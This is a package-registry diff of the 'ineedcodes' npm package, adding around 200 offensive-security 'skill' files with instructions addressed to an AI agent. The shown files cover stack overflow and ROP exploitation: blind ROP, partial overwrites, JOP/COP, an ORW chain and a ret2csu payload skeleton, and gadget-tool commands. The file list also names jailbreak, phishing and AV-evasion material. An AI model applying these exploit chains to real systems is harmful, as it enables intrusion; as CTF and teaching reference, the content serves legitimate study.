ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,249 @@
|
|
|
1
|
+
# Advanced ROP Techniques — BROP, Partial Overwrite, JOP, COP
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this when you need Blind ROP methodology, ret2vdso for ASLR bypass, partial overwrite for PIE bypass, or alternative code-reuse paradigms (JOP/COP). Assumes the main [SKILL.md](./SKILL.md) is already loaded for fundamental ROP, ret2csu, ret2dlresolve, and SROP.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. BLIND ROP (BROP)
|
|
8
|
+
|
|
9
|
+
Exploit a remote stack overflow **without access to the binary**. Requires a service that forks (canary and ASLR layout persist across crashes).
|
|
10
|
+
|
|
11
|
+
### BROP Attack Phases
|
|
12
|
+
|
|
13
|
+
| Phase | Goal | Method |
|
|
14
|
+
|---|---|---|
|
|
15
|
+
| 1. Stack reading | Determine buffer offset + canary | Byte-by-byte brute-force (child process crash = wrong byte) |
|
|
16
|
+
| 2. Find stop gadget | Address that doesn't crash | Scan code section for `ret` into valid code (e.g., infinite loop, `sleep`) |
|
|
17
|
+
| 3. Find BROP gadget | `__libc_csu_init` gadget | Scan for 6-pop pattern: probe address, if crash after 6 pops+ret → BROP gadget |
|
|
18
|
+
| 4. Find puts/write PLT | Function to leak memory | Probe PLT entries: set RDI to known readable, call candidate, check for output |
|
|
19
|
+
| 5. Dump binary | Leak .text, .got, .dynamic | Use puts(addr) to read binary from memory page by page |
|
|
20
|
+
| 6. Standard ROP | Build exploit with leaked binary | ROPgadget on dumped binary, ret2libc |
|
|
21
|
+
|
|
22
|
+
### BROP Gadget Identification
|
|
23
|
+
|
|
24
|
+
The `__libc_csu_init` tail pops 6 registers then returns. Probe:
|
|
25
|
+
|
|
26
|
+
```
|
|
27
|
+
[overflow][canary][saved_rbp][candidate_addr][A][A][A][A][A][A][stop_gadget]
|
|
28
|
+
rbx rbp r12 r13 r14 r15
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
If the process survives (reaches stop gadget) → candidate is a 6-pop gadget (high probability = BROP gadget).
|
|
32
|
+
|
|
33
|
+
### Trap Gadget vs Stop Gadget
|
|
34
|
+
|
|
35
|
+
- **Stop gadget**: address that causes the process to hang or respond predictably (not crash)
|
|
36
|
+
- **Trap gadget**: address that crashes (0x0, unmapped page) — used as a probe terminator
|
|
37
|
+
|
|
38
|
+
### PLT Identification
|
|
39
|
+
|
|
40
|
+
PLT entries are at fixed 16-byte intervals. Probe: set RDI to a known readable address, iterate PLT base + N*16, check if output appears on socket → found puts/write.
|
|
41
|
+
|
|
42
|
+
---
|
|
43
|
+
|
|
44
|
+
## 2. ret2vdso (32-bit ASLR Bypass)
|
|
45
|
+
|
|
46
|
+
The vDSO (virtual Dynamic Shared Object) is a kernel-mapped page containing optimized syscall stubs. On **32-bit Linux kernels < 3.18**, vDSO was mapped at a **fixed address** or with low entropy.
|
|
47
|
+
|
|
48
|
+
### Attack Method
|
|
49
|
+
|
|
50
|
+
1. Locate `sigreturn` gadget in vDSO (fixed or brute-forceable address)
|
|
51
|
+
2. Use SROP via vDSO's sigreturn to set all registers
|
|
52
|
+
3. Execute `execve("/bin/sh", 0, 0)` via syscall
|
|
53
|
+
|
|
54
|
+
| Kernel Version | vDSO ASLR | Entropy |
|
|
55
|
+
|---|---|---|
|
|
56
|
+
| < 2.6.18 (32-bit) | Fixed at 0xffffe000 | None |
|
|
57
|
+
| 2.6.18–3.17 (32-bit) | 1 page randomization | ~8 bits (256 positions) |
|
|
58
|
+
| ≥ 3.18 (32-bit) | Full ASLR | Same as mmap |
|
|
59
|
+
| 64-bit | Always randomized | Full ASLR |
|
|
60
|
+
|
|
61
|
+
**Modern relevance**: Limited to legacy 32-bit systems. On 64-bit, vDSO is fully randomized.
|
|
62
|
+
|
|
63
|
+
---
|
|
64
|
+
|
|
65
|
+
## 3. PARTIAL OVERWRITE (PIE Bypass)
|
|
66
|
+
|
|
67
|
+
When PIE is enabled, the code base is randomized but the **last 12 bits** (page offset) are always fixed. Overwriting only the lowest 1–2 bytes of a return address can redirect execution within the same page or to a nearby page.
|
|
68
|
+
|
|
69
|
+
### Technique
|
|
70
|
+
|
|
71
|
+
```
|
|
72
|
+
Original return address: 0x5555555551?? (last 12 bits = 0x1??, fixed)
|
|
73
|
+
Overwrite last 2 bytes: 0x555555551234 → redirect to offset 0x1234 in binary
|
|
74
|
+
|
|
75
|
+
If only last byte overwritten (no null terminator issue):
|
|
76
|
+
Only 4 bits unknown (nibble brute-force = 16 attempts)
|
|
77
|
+
If last 2 bytes overwritten:
|
|
78
|
+
Only 4 bits unknown (page alignment) = 16 attempts
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
### When to Use
|
|
82
|
+
|
|
83
|
+
| Scenario | Technique |
|
|
84
|
+
|---|---|
|
|
85
|
+
| PIE + no info leak | Partial overwrite low bytes of return address |
|
|
86
|
+
| PIE + one-byte overflow | Overwrite saved RBP low byte → misaligned frame → secondary leak |
|
|
87
|
+
| PIE + format string | Leak full PIE base first (preferred over partial overwrite) |
|
|
88
|
+
|
|
89
|
+
### Practical Notes
|
|
90
|
+
|
|
91
|
+
- Null bytes in addresses: 64-bit addresses typically contain `\x00` in upper bytes, making overflow-based overwrites write the null terminator naturally
|
|
92
|
+
- Probability: partial overwrite success depends on unknown nibble (1/16 per attempt)
|
|
93
|
+
- Combine with fork-based brute-force if process restarts with same layout
|
|
94
|
+
|
|
95
|
+
---
|
|
96
|
+
|
|
97
|
+
## 4. JOP — Jump-Oriented Programming
|
|
98
|
+
|
|
99
|
+
Alternative to ROP using indirect `jmp` instructions instead of `ret`.
|
|
100
|
+
|
|
101
|
+
### Dispatcher Gadget Pattern
|
|
102
|
+
|
|
103
|
+
```nasm
|
|
104
|
+
; Dispatcher: advances a "virtual PC" table and jumps to next gadget
|
|
105
|
+
add rax, 8 ; advance table pointer
|
|
106
|
+
jmp [rax] ; jump to next functional gadget
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
Each functional gadget ends with `jmp [rax]` (or equivalent) to return to the dispatcher.
|
|
110
|
+
|
|
111
|
+
### JOP Gadget Types
|
|
112
|
+
|
|
113
|
+
| Type | Example | Purpose |
|
|
114
|
+
|---|---|---|
|
|
115
|
+
| Dispatcher | `add rax, 8; jmp [rax]` | Sequence control |
|
|
116
|
+
| Functional | `pop rdi; jmp [rax]` | Register setup |
|
|
117
|
+
| Initializer | Sets RAX to dispatch table address | Bootstrap |
|
|
118
|
+
|
|
119
|
+
### When JOP Matters
|
|
120
|
+
|
|
121
|
+
- **CET/Shadow Stack**: Intel CET marks `ret` with shadow stack validation — ROP returns fail, but `jmp` gadgets are not checked by shadow stack (though IBT may restrict indirect jumps)
|
|
122
|
+
- Some binaries have abundant `jmp` gadgets but few `ret` gadgets
|
|
123
|
+
|
|
124
|
+
---
|
|
125
|
+
|
|
126
|
+
## 5. COP — Call-Oriented Programming
|
|
127
|
+
|
|
128
|
+
Uses indirect `call` instructions. Each gadget ends with `call [reg]` to chain to the next.
|
|
129
|
+
|
|
130
|
+
```nasm
|
|
131
|
+
; Example COP gadget
|
|
132
|
+
mov rdi, rbx
|
|
133
|
+
call [rax + 0x10] ; chains to next gadget via function pointer table
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
### COP vs ROP vs JOP Comparison
|
|
137
|
+
|
|
138
|
+
| Aspect | ROP | JOP | COP |
|
|
139
|
+
|---|---|---|---|
|
|
140
|
+
| Chaining mechanism | `ret` | `jmp [reg]` | `call [reg]` |
|
|
141
|
+
| Stack consumption | Yes (RSP advances) | No (table-based) | Yes (pushes return addr) |
|
|
142
|
+
| CET Shadow Stack | Blocked | Not directly blocked | Partially blocked (IBT) |
|
|
143
|
+
| Gadget availability | Most common | Moderate | Least common |
|
|
144
|
+
| Complexity | Low | High (need dispatcher) | High |
|
|
145
|
+
|
|
146
|
+
---
|
|
147
|
+
|
|
148
|
+
## 6. STACK-BASED ORW (open-read-write)
|
|
149
|
+
|
|
150
|
+
When `execve` is blocked by seccomp but `open`/`read`/`write` are allowed, build a ROP chain to read the flag file.
|
|
151
|
+
|
|
152
|
+
### x86-64 Syscall Numbers for ORW
|
|
153
|
+
|
|
154
|
+
| Syscall | Number | Args |
|
|
155
|
+
|---|---|---|
|
|
156
|
+
| `open` (or `openat`) | 2 (257) | RDI=path, RSI=flags, RDX=mode |
|
|
157
|
+
| `read` | 0 | RDI=fd, RSI=buf, RDX=count |
|
|
158
|
+
| `write` | 1 | RDI=fd(1), RSI=buf, RDX=count |
|
|
159
|
+
|
|
160
|
+
```python
|
|
161
|
+
# ORW ROP chain skeleton
|
|
162
|
+
rop = b''
|
|
163
|
+
# open("flag", O_RDONLY)
|
|
164
|
+
rop += p64(pop_rdi) + p64(flag_str_addr)
|
|
165
|
+
rop += p64(pop_rsi_r15) + p64(0) + p64(0)
|
|
166
|
+
rop += p64(pop_rax) + p64(2) + p64(syscall_ret)
|
|
167
|
+
# read(fd=3, buf, 0x100)
|
|
168
|
+
rop += p64(pop_rdi) + p64(3)
|
|
169
|
+
rop += p64(pop_rsi_r15) + p64(buf_addr) + p64(0)
|
|
170
|
+
rop += p64(pop_rdx) + p64(0x100)
|
|
171
|
+
rop += p64(pop_rax) + p64(0) + p64(syscall_ret)
|
|
172
|
+
# write(1, buf, 0x100)
|
|
173
|
+
rop += p64(pop_rdi) + p64(1)
|
|
174
|
+
rop += p64(pop_rsi_r15) + p64(buf_addr) + p64(0)
|
|
175
|
+
rop += p64(pop_rdx) + p64(0x100)
|
|
176
|
+
rop += p64(pop_rax) + p64(1) + p64(syscall_ret)
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
---
|
|
180
|
+
|
|
181
|
+
## 7. ret2csu EXTENDED PATTERNS
|
|
182
|
+
|
|
183
|
+
### Variant: Using csu_init for Indirect Call to GOT
|
|
184
|
+
|
|
185
|
+
```python
|
|
186
|
+
csu_pop = elf_base + 0x40123a # pop rbx..r15; ret
|
|
187
|
+
csu_call = elf_base + 0x401220 # mov rdx,r13; mov rsi,r14; mov edi,r15d; call [r12+rbx*8]
|
|
188
|
+
|
|
189
|
+
payload = b'A' * offset
|
|
190
|
+
payload += p64(csu_pop)
|
|
191
|
+
payload += p64(0) # rbx = 0
|
|
192
|
+
payload += p64(1) # rbp = 1 (skip loop)
|
|
193
|
+
payload += p64(elf.got['write']) # r12 → call *GOT[write]
|
|
194
|
+
payload += p64(8) # r13 → rdx = 8 (count)
|
|
195
|
+
payload += p64(elf.got['puts']) # r14 → rsi = GOT[puts] (leak)
|
|
196
|
+
payload += p64(1) # r15 → edi = 1 (stdout)
|
|
197
|
+
payload += p64(csu_call)
|
|
198
|
+
payload += b'A' * 56 # padding for 7 pops after call
|
|
199
|
+
payload += p64(main_addr) # return to main
|
|
200
|
+
```
|
|
201
|
+
|
|
202
|
+
### When ret2csu Fails
|
|
203
|
+
|
|
204
|
+
- **PIE enabled**: csu gadget addresses unknown (need leak first)
|
|
205
|
+
- **Static binary**: `__libc_csu_init` may not exist → fall back to SROP
|
|
206
|
+
- **Only `edi` set**: r15d → edi (32-bit zero-extended), cannot set full 64-bit RDI → use supplementary `pop rdi` if available
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## 8. ARCHITECTURE-SPECIFIC NOTES
|
|
211
|
+
|
|
212
|
+
### ARM ROP
|
|
213
|
+
|
|
214
|
+
| Aspect | ARM32 | AArch64 |
|
|
215
|
+
|---|---|---|
|
|
216
|
+
| Return register | LR (R14) | LR (X30) |
|
|
217
|
+
| Key gadget | `pop {r0-r3, pc}` | `ldp x29, x30, [sp]; ret` |
|
|
218
|
+
| Syscall | `svc #0` | `svc #0` |
|
|
219
|
+
| NOP sled | `mov r0, r0` (0xe1a00000) | `nop` (0xd503201f) |
|
|
220
|
+
| Thumb mode | Mixed ARM/Thumb gadgets | N/A (A64 only) |
|
|
221
|
+
|
|
222
|
+
### MIPS ROP
|
|
223
|
+
|
|
224
|
+
- No NX by default (stack executable on many MIPS devices) → shellcode often viable
|
|
225
|
+
- Branch delay slots: instruction after branch always executes
|
|
226
|
+
- Gadget: `jalr $t9` with `$a0`–`$a3` for args
|
|
227
|
+
- Cache coherency: may need `sleep(1)` between write and execute for I-cache flush
|
|
228
|
+
|
|
229
|
+
---
|
|
230
|
+
|
|
231
|
+
## 9. TOOLCHAIN CHEAT SHEET
|
|
232
|
+
|
|
233
|
+
```bash
|
|
234
|
+
# Find specific gadgets
|
|
235
|
+
ROPgadget --binary ./pwn --only "pop|ret" | grep rdi
|
|
236
|
+
ropper -f ./pwn --search "pop rdi; ret"
|
|
237
|
+
|
|
238
|
+
# Auto-generate chain
|
|
239
|
+
ROPgadget --binary ./pwn --ropchain
|
|
240
|
+
|
|
241
|
+
# Find one_gadget constraints
|
|
242
|
+
one_gadget ./libc.so.6 -l 2 # level 2 = more results, looser constraints
|
|
243
|
+
|
|
244
|
+
# Verify gadget in GDB
|
|
245
|
+
gdb ./pwn -ex "x/3i 0x401234"
|
|
246
|
+
|
|
247
|
+
# pwntools template
|
|
248
|
+
pwn template --host remote.ctf --port 1337 ./pwn > exploit.py
|
|
249
|
+
```
|
|
@@ -0,0 +1,304 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: stack-overflow-and-rop
|
|
3
|
+
description: >-
|
|
4
|
+
Stack overflow and ROP playbook. Use when exploiting buffer overflows to hijack control flow via return address overwrite, ROP chains, ret2libc, ret2csu, ret2dlresolve, or SROP on Linux userland binaries.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: Stack Overflow & ROP — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert stack-based exploitation techniques. Covers classic buffer overflow, return-to-libc, ROP chain construction, ret2csu, ret2dlresolve, SROP, stack pivoting, and canary bypass. Distilled from ctf-wiki advanced-rop, real-world CVEs, and CTF competition patterns. Base models often miss the nuance of gadget selection under constrained conditions.
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
- [format-string-exploitation](../format-string-exploitation/SKILL.md) — leak canary/libc/PIE base via format string before triggering overflow
|
|
14
|
+
- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — systematic bypass of NX, ASLR, PIE, canary, RELRO
|
|
15
|
+
- [arbitrary-write-to-rce](../arbitrary-write-to-rce/SKILL.md) — convert a write primitive (GOT, hooks, vtable) into code execution
|
|
16
|
+
- [heap-exploitation](../heap-exploitation/SKILL.md) — when the vulnerability is in heap rather than stack
|
|
17
|
+
|
|
18
|
+
### Advanced Reference
|
|
19
|
+
|
|
20
|
+
Load [ROP_ADVANCED_TECHNIQUES.md](./ROP_ADVANCED_TECHNIQUES.md) when you need:
|
|
21
|
+
- Blind ROP (BROP) methodology against remote services without binary
|
|
22
|
+
- ret2vdso for ASLR bypass on 32-bit systems
|
|
23
|
+
- Partial overwrite techniques for PIE bypass
|
|
24
|
+
- JOP / COP alternative code-reuse paradigms
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 1. STACK LAYOUT FUNDAMENTALS
|
|
29
|
+
|
|
30
|
+
```
|
|
31
|
+
High Address
|
|
32
|
+
┌─────────────────────┐
|
|
33
|
+
│ ... (caller) │
|
|
34
|
+
├─────────────────────┤
|
|
35
|
+
│ Return Address │ ← overwrite target (EIP/RIP control)
|
|
36
|
+
├─────────────────────┤
|
|
37
|
+
│ Saved EBP/RBP │ ← overwrite for stack pivoting
|
|
38
|
+
├─────────────────────┤
|
|
39
|
+
│ Canary (if enabled)│
|
|
40
|
+
├─────────────────────┤
|
|
41
|
+
│ Local Variables │ ← buffer starts here
|
|
42
|
+
├─────────────────────┤
|
|
43
|
+
│ ... │
|
|
44
|
+
└─────────────────────┘
|
|
45
|
+
Low Address
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
| Element | x86 (32-bit) | x86-64 (64-bit) |
|
|
49
|
+
|---|---|---|
|
|
50
|
+
